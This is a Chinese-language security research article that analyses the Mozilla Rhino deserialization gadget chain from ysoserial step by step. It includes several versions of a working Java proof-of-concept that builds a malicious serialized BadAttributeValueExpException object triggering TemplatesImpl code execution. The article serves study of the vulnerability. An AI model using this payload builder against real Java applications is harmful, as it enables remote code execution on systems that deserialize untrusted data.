Mozilla Rhino 反序列化漏洞 POC 分析

来源:香依香偎@闻道解惑

Mozilla Rhino 是一个完全使用 Java 语言编写的开源 JavaScript 引擎。ysoserial 中收录了 Rhino 的反序列化 Gadget,本篇文章就来分析一下这个 Gadget。

零、NativeError 的继承关系

首先来看 org.mozilla.javascript.NativeError 类的继承关系。它继承自 IdScriptableObject,后者继承自 ScriptableObject。而 ScriptableObject 实现了 Scriptable 接口和 Serializable 接口。因此,NativeError 可以进行序列化和反序列化操作。

NativeError.class

一、分析

1、 首先,反序列化攻击的入口在 NativeErrortoString() 函数。

NativeError.toString

toString() 中调用了 js_toString() 函数,传入参数为 NativeError 的 this 对象。看下js_toString()

NativeError.js_toString

js_toString() 调用了两次 getString() 函数,传入的参数是 NativeError 对象和字符串 name/message,继续跟进。

NativeError.getString

getString() 中调用的是父类 ScriptableObjectgetProperty() 函数,入参没有变化。跟进去看看。

ScriptableObject.getProperty

其中调用的是 Scriptable 接口的 get() 函数。这个 get() 的实现在 IdScriptableObject 类。

IdScriptableObject.get

IdScriptableObject.get() 最后调用的是父类 ScriptableObjectget() 函数,再次回到 ScriptableObject 类。

ScriptableObject.get

继续跟进 getImpl() 函数。

ScriptableObject.getImpl

其中的关键在于 2007 行到 2026 行的这部分。先看 2009 行到 2020 行的第一个分支。

getImpl-branches.png

这个分支中有 nativeGetter.invoke() 的调用,看上去有戏。但有一个问题在于,nativeGetter.delegateTotransient 变量,在反序列化过程中无法赋值。

transient-delegateTo

这会导致 2013 行 if (nativeError.delegateTo == null) 的判断恒真,getterThis 就被赋值为最初的 NativeError 对象。这就导致 2020 行的 nativeGetter.invoke() 无法调用我们期望的目标对象的函数,只能调用静态函数或者 NativeError 类的内置函数。这当然不是我们期望的结果。

nativeGetter.invoke

再来看 2021 行到 2026 行的 else 分支。

getImpl-else-branch

这个分支中需要将 getterObj 设置为 Function 对象,并最终调用 Functioncall() 函数。先看看 getterObj 如何赋值。

ScriptableObject-getterObj

通过 GetterSlotgetterGetterSlotScriptableObject 的内部类,支持序列化。

GetterSlot-getter

GetterSlot-classes

GetterSlot.getter 可以通过 ScriptableObject.setGetterOrSetter() 来进行赋值。

ScriptableObject-setGetterOrSetter

那么 getterObj 要赋值成 Function 的哪个对象呢?Function 是个接口,看下它的实现类。

Function-classes

我们选择 NativeJavaMethod 类。这个类继承自 BaseFunction,后者同样继承自 IdScriptableObject,因此同样可以进行序列化和反序列化处理。

NativeJavaMethod-classes

NativeJavaMethod.call() 函数挺长,翻一翻会发现在 247 行调用了 meth.invoke(javaObject, args)

NativeJavaMethod.call

这个 invoke() 的调用,其实是 MemberBox.invoke() 函数,其中直接调用了我们熟悉的 method.invoke() 函数。

MemberBox.invoke

看起来很有希望。为了能成功调用到我们期望的目标函数,我们需要关注 NativeJavaMethod.call()meth.invoke(javaObject, args) 里的三个变量:methjavaObjectargs

NativeJavaMethod.call

一个一个来,先看 meth

2、meth 的值来自类的成员变量 methods,通过 findFunction() 查找到索引 index

NativeJavaMethod.methods

成员变量 methodsMemberBox 类的对象数组,本身可以通过反序列化赋值。

NativeJavaMethod.methods

至于 methods 的内容要设置成什么样,来看下 MemberBox.invoke() 函数。其中 method 来自 method() 函数,而后者是直接返回了 memberObject 变量。

MemberBox.invoke

MemberBox-method

MemberBox.memberObject 是个 transient 变量,要怎么赋值呢?

MemberBox-memberObject

答案就在 MemberBox.readObject() 中。这里先通过 readMember() 得到了 member 对象,再通过 init() 函数将 member 赋值给 memberObject

MemberBox.readObject

MemberBox.init

继续跟进 readMember() 函数,就是一个反序列化的实现。因此,通过反序列化给 memberObject的赋值,不存在问题。

MemberBox.readMember

也就是说,我们可以通过反序列化给 meth 赋值为期望的目标函数。

结论

设置 NativeJavaMethod.call() 中的 meth 需要:

  • 构造 MemberBox 对象 m
  • 设置 m 的成员变量 memberObject 为目标函数
  • 构造 NativeJavaMethod 对象 n
  • 设置 n 的成员变量 methods 的 0 号元素为 m

3、 javaObject 涉及的代码,都在 NativeJavaMethod.call() 的 222~247 行。

NativeJavaMethod-javaObject

关键的部分就是 225~242 行的 else 分支里。

NativeJavaMethod.else.branch

如果要把 javaObject 赋值为我们期望的对象,就是要在 235 行完成这个赋值。但是这里有一个问题:我们知道 thisObj 就是 NativeError 对象,同理 o 也是。但 NativeError 没有实现 Wrapper 接口,这样一来 234 行的判断条件 if (o instanceof Wrapper) 就不能满足了。

for-o-Wrapper

转机在于,这个判断身处循环之中,240 行的 o = o.getPrototype() 给了我们希望。查看一下 Wrapper 的实现类。

Wrapper-classes

看下 NativeJavaObjectunwrap() 函数,直接返回了 NativeJavaObject.javaObject 成员变量。

NativeJavaObject-unwrap

NativeJavaObject.javaObject 成员变量可以通过反序列化的 readObject() 函数直接赋值。

NativeJavaObject-readObject

也就是说,如果我们让 NativeError 对象的 getPrototype() 返回特定的 NativeJavaObject 对象,就可以完成 javaObject 的赋值。看看 getPrototype() 的实现,在 ScriptableObject 类中。

ScriptableObject-getPrototype

这个 prototypeObject 来自 ScriptableObject 的成员变量,可以通过反序列化赋值。

ScriptableObject.prototypeObject

结论

设置 NativeJavaMethod.call() 中的 javaObject 需要:

  • 构造 NativeJavaObject 对象 o
  • 设置 o 的成员变量 javaObject 为目标对象
  • 构造 NativeError 对象 e
  • 设置 e 的成员变量 prototypeObject 为 o

4、 最后看一下 argsargs来自入参,其实就是调用者传入的 ScriptRuntime.emptyArgs

NativeJavaMethod.args

ScriptableObject.emptyArgs

这就决定我们要寻找的目标函数,必须是一个无参函数

5、 再回到开头,通常反序列化的入口都是 readObject() 函数,而文章开头说 NativeError 的反序列化入口在 toString() 函数。怎么才能从 readObject() 入口转到 NativeError.toString() 呢?

答案就在 JDK 中的 BadAttributeValueExpException 类的 readObject() 函数。

BadAttributeValueExpException-readObject

也就是说,只要将 BadAttributeValueExpExceptionval 设置为 NativeError 对象,就可以在反序列化的过程中调用 NativeError.toString() 了。

6、结论

如果要完成反序列化POC,需要:

  • 构造 MemberBox 对象 m
  • 设置 m 的成员变量 memberObject 为目标函数
  • 构造 NativeJavaMethod 对象 n
  • 设置 n 的成员变量 methods 的 0 号元素为 m
  • 构造 NativeJavaObject 对象 o
  • 设置 o 的成员变量 javaObject 为目标对象
  • 构造 NativeError 对象 a
  • 设置 a 的成员变量 prototypeObject 为 o
  • 通过 a 的 setGetterOrSetter() 函数,设置 a 的 getter 属性为对象 n
  • 构造 BadAttributeValueExpException 对象 b
  • 设置 b 的成员变量 valNativeError 对象 a

前面说过,需要寻找的目标函数,应当是一个无参函数。同时,这个无参函数所属的目标类,还得是实现了 Serializable 接口、支持序列化和反序列化的类。

因此,首先想到的就是,使用 TemplatesImpl 类作为目标类,使用它的 getOutputProperties() 作为目标函数。

二、填坑

完成了上述分析,我们开始写POC。途中暗坑无数,逐一填之。

1、NativeError 无法实例化

声明 NativeError 对象,直接报错:The type NativeError is not visible

Error-NativeError

报错原因:

NativeError 类不是 public,不能直接引用。

Reason-NativeError

解决方案:

通过反射,实例化 NativeError 对象。

Solution-New-NativeError

2、反射实例化的 NativeError 运行失败

运行这段代码:

Error-Run-new-instance

报错 “ Class com.xiang.rhinotest.RhinoPoc can not access a member of class org.mozilla.javascript.NativeError with modifiers “” ”

Error-Access-NativeError

报错原因:

NativeError 没有提供默认的public 无参构造函数,无法直接调用 newInstance()。

解决方案:

通过反射设置构造函数为 public,再进行调用。

Solution-setAccessible

反射在 ysoserial 中被大量的使用,原因也就在此。

3、执行POC失败:No Context

按照“分析”部分的结论,结合大量的反射调用,完成POC如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
private static Object generate_Object() throws Exception {
//构造 NativeError 对象 a
Object nativeError;
{
Class<?> cls = Class.forName("org.mozilla.javascript.NativeError");
Constructor<?> cons = cls.getDeclaredConstructor();
cons.setAccessible(true);
nativeError = cons.newInstance();
}

//构造 NativeJavaObject 对象 o
//设置 o 的成员变量 javaObject 为目标对象
//设置 a 的成员变量 prototypeObject 为 o
TemplatesImpl templatesImpl = TemplatesImplGadget.get();
{
Context context = Context.enter();
NativeObject scriptableObject = (NativeObject) context.initStandardObjects();
NativeJavaObject nativeJavaObject = new NativeJavaObject(scriptableObject, templatesImpl, TemplatesImpl.class);
Method method = nativeError.getClass().getMethod("setPrototype", new Class<?>[]{Scriptable.class});
method.invoke(nativeError, new Object[]{nativeJavaObject});
}

//构造 MemberBox 对象 m
//设置 m 的成员变量 memberObject 为目标函数
//构造 NativeJavaMethod 对象 n
//设置 n 的成员变量 methods 的 0 号元素为 m
//通过 a 的 setGetterOrSetter() 函数,设置 a 的 getter 属性为对象 n
Method getOutputProperties = templatesImpl.getClass().getMethod("getOutputProperties", new Class<?>[0]);
{
NativeJavaMethod nativeJavaFunction = new NativeJavaMethod(getOutputProperties, null);
Method method = nativeError.getClass().getMethod("setGetterOrSetter", new Class<?>[]{String.class, int.class, Callable.class, boolean.class});
method.invoke(nativeError, new Object[]{"name", 0, nativeJavaFunction, false});
}

//构造 BadAttributeValueExpException 对象 b
//设置 b 的成员变量 val 为 NativeError 对象 a
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
{
Field valField = badAttributeValueExpException.getClass().getDeclaredField("val");
valField.setAccessible(true);
valField.set(badAttributeValueExpException, nativeError);
}
return badAttributeValueExpException;
}

编译运行。呃,序列化成功,可是反序列化的时候却没看到计算器,只看到了报错:“No Context associated with current Thread”。

Error-no-context

报错原因:

问题在哪里呢?就在 ScriptableObject.getImpl() 的 else 分支中。

Reason-no-context

我们期望进入 2024 行的 f.call(),结果在 2023 行 Context.getContext() 抛出了异常,因为 Context 对象为空。

Reason-Context-null

构造 Context 需要调用 Context.enter() 函数。

Context-enter
Context-enter-2

怎样在反序列化的时候插入 Context.enter() 的调用呢?

重新看下调用栈,发现 NativeError.js_toString() 调用了两次 getString() 函数,分别传入字符串 “name”和“message”。

NativeError.js_toString

因此,我们可以把 TemplatesImpl.getOutputProperties() 作为 “message”的属性,把 Context.enter() 作为 “name” 的属性,这样就可以先执行 Context.enter(),再执行 TemplatesImpl.getOutputProperties() 进行 Payload 执行。

解决方案:

按照 POC 中设置 TemplatesImpl.getOutputProperties() 的方法,设置 Context.enter() 为 “name” 属性,将 TemplatesImpl.getOutputProperties() 设置为 “message” 属性

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
//构造 MemberBox 对象 m
//设置 m 的成员变量 memberObject 为目标函数
//构造 NativeJavaMethod 对象 n
//设置 n 的成员变量 methods 的 0 号元素为 m
//通过 a 的 setGetterOrSetter() 函数,设置 a 的 getter 属性为对象 n
Method getOutputProperties = templatesImpl.getClass().getMethod("getOutputProperties", new Class<?>[0]);
{
NativeJavaMethod nativeJavaFunction = new NativeJavaMethod(getOutputProperties, null);
Method method = nativeError.getClass().getMethod("setGetterOrSetter", new Class<?>[]{String.class, int.class, Callable.class, boolean.class});
method.invoke(nativeError, new Object[]{"messsage", 0, nativeJavaFunction, false});
}

//构造 MemberBox 对象 m2
//设置 m2 的成员变量 memberObject 为 Context.enter()
//构造 NativeJavaMethod 对象 n2
//设置 n2 的成员变量 methods 的 0 号元素为 m2
//通过 a 的 setGetterOrSetter() 函数,设置 a 的 getter 属性为对象 n2
Method enterMethod = Context.class.getMethod("enter", new Class<?>[0]);
{
NativeJavaMethod nativeJavaFunction = new NativeJavaMethod(enterMethod, null);
Method method = nativeError.getClass().getMethod("setGetterOrSetter", new Class<?>[]{String.class, int.class, Callable.class, boolean.class});
method.invoke(nativeError, new Object[]{"name", 0, nativeJavaFunction, false});
}

4、执行POC仍然失败:No Context

增加 Context.enter() 的调用之后,重新运行POC,呃,问题依旧……

Error-no-context

报错原因:

为什么新增的调用无效呢?因为设置函数的方法错了。

无论是 TemplatesImpl.getOutputProperties() 还是 Context.enter() ,我们都是通过 ScriptableObject.setGetterOrSetter() 函数进行设置。而这个函数设置的 getter 属性,是 Callable 类型的。

ScriptalbeObject-setGetterOrSetter

回到报错的地方看。 2009 行 if 分支的判断条件是,getter 属性的值必须是 MemberBox 类型,而 MemberBox 并没有实现 Callable 接口,所以无论进来的是TemplatesImpl.getOutputProperties() 还是 Context.enter(),代码流程都会走到 2021 行的 else 分支中。

Reason-no-context

我们期望流程走到 2024 行的 f.call(),遇到的问题是在 2023 行就报错了。我们增加 Context.enter() 的调用,期望他能解决无法通过 f.call() 来调用TemplatesImpl.getOutputProperties() 的问题。

但是对 Context.enter() 的调用遇到了一样的问题,在 2023 行就抛出了异常,无法走到 2024 行去执行我们期望的函数。

所以,对 Context.enter() 的设置,就不能像 TemplatesImpl.getOutputProperties() 一样,去通过 ScriptableObject.setGetterOrSetter() 函数进行设置,只能让他通过 2009 行的 if 分支去调用。但是要怎么去设置呢?ysoserial 通过反射进行强制设置 getter 属性来解决这个问题。

解决方案:

参考 ysoserial 中的方法,通过反射进行强制设置 getter 属性为 MemberBox 对象的 Context.enter() 方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
//构造 MemberBox 对象 m2
//设置 m2 的成员变量 memberObject 为 Context.enter()
//构造 NativeJavaMethod 对象 n2
//设置 n2 的成员变量 methods 的 0 号元素为 m2
//通过 a 的 setGetterOrSetter() 函数,设置 a 的 getter 属性为对象 n2
Method enterMethod = Context.class.getMethod("enter", new Class<?>[0]);
{
NativeJavaMethod nativeJavaFunction = new NativeJavaMethod(enterMethod, null);
Method method = nativeError.getClass().getMethod("setGetterOrSetter", new Class<?>[]{String.class, int.class, Callable.class, boolean.class});
method.invoke(nativeError, new Object[]{"name", 0, nativeJavaFunction, false});
}

//通过反射强行设置 getter 属性为 MemberBox 对象的 Context.enter() 函数
{
Method getSlot = ScriptableObject.class.getDeclaredMethod("getSlot", new Class<?>[]{String.class, int.class, int.class});
getSlot.setAccessible(true);
Object slot = getSlot.invoke(nativeError, "name", 0, 1);
Field getter = slot.getClass().getDeclaredField("getter");
getter.setAccessible(true);

Class<?> memberboxClass = Class.forName("org.mozilla.javascript.MemberBox");
Constructor<?> memberboxClassConstructor = memberboxClass.getDeclaredConstructor(Method.class);
memberboxClassConstructor.setAccessible(true);
Object memberboxes = memberboxClassConstructor.newInstance(enterMethod);
getter.set(slot, memberboxes);
}

现在再执行 POC,终于可以看到计算器了。

calc

三、POC

完整POC参见 Github

主要函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74

private static Object generate_Object() throws Exception
{
//构造 NativeError 对象 a
Object nativeError;
{
Class<?> cls = Class.forName("org.mozilla.javascript.NativeError");
Constructor<?> cons = cls.getDeclaredConstructor();
cons.setAccessible(true);
nativeError = cons.newInstance();
}

//构造 NativeJavaObject 对象 o
//设置 o 的成员变量 javaObject 为目标对象
//设置 a 的成员变量 prototypeObject 为 o
TemplatesImpl templatesImpl = TemplatesImplGadget.get();
{
Context context = Context.enter();
NativeObject scriptableObject = (NativeObject) context.initStandardObjects();
NativeJavaObject nativeJavaObject = new NativeJavaObject(scriptableObject, templatesImpl, TemplatesImpl.class);
Method method = nativeError.getClass().getMethod("setPrototype", new Class<?>[]{Scriptable.class});
method.invoke(nativeError, new Object[]{nativeJavaObject});
}

//构造 MemberBox 对象 m
//设置 m 的成员变量 memberObject 为目标函数
//构造 NativeJavaMethod 对象 n
//设置 n 的成员变量 methods 的 0 号元素为 m
//通过 a 的 setGetterOrSetter() 函数,设置 a 的 getter 属性为对象 n
Method getOutputProperties = templatesImpl.getClass().getMethod("getOutputProperties", new Class<?>[0]);
{
NativeJavaMethod nativeJavaFunction = new NativeJavaMethod(getOutputProperties, null);
Method method = nativeError.getClass().getMethod("setGetterOrSetter", new Class<?>[]{String.class, int.class, Callable.class, boolean.class});
method.invoke(nativeError, new Object[]{"message", 0, nativeJavaFunction, false});
}

//构造 MemberBox 对象 m2
//设置 m2 的成员变量 memberObject 为 Context.enter()
//构造 NativeJavaMethod 对象 n2
//设置 n2 的成员变量 methods 的 0 号元素为 m2
//通过 a 的 setGetterOrSetter() 函数,设置 a 的 getter 属性为对象 n2
Method enterMethod = Context.class.getMethod("enter", new Class<?>[0]);
{
NativeJavaMethod nativeJavaFunction = new NativeJavaMethod(enterMethod, null);
Method method = nativeError.getClass().getMethod("setGetterOrSetter", new Class<?>[]{String.class, int.class, Callable.class, boolean.class});
method.invoke(nativeError, new Object[]{"name", 0, nativeJavaFunction, false});
}

//通过反射强行设置 getter 属性为 MemberBox 对象的 Context.enter() 函数
{
Method getSlot = ScriptableObject.class.getDeclaredMethod("getSlot", new Class<?>[]{String.class, int.class, int.class});
getSlot.setAccessible(true);
Object slot = getSlot.invoke(nativeError, "name", 0, 1);
Field getter = slot.getClass().getDeclaredField("getter");
getter.setAccessible(true);

Class<?> memberboxClass = Class.forName("org.mozilla.javascript.MemberBox");
Constructor<?> memberboxClassConstructor = memberboxClass.getDeclaredConstructor(Method.class);
memberboxClassConstructor.setAccessible(true);
Object memberboxes = memberboxClassConstructor.newInstance(enterMethod);
getter.set(slot, memberboxes);
}

//构造 BadAttributeValueExpException 对象 b
//设置 b 的成员变量 val 为 NativeError 对象 a
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
{
Field valField = badAttributeValueExpException.getClass().getDeclaredField("val");
valField.setAccessible(true);
valField.set(badAttributeValueExpException, nativeError);
}

return badAttributeValueExpException;
}

调用栈:

call-stack

四、心得

1、BadAttributeValueExpException 作为反序列化的入口,toString() 也成为了 readObject() 之外的另一个反序列化攻击触发点。

2、 反射功能,很好很强大。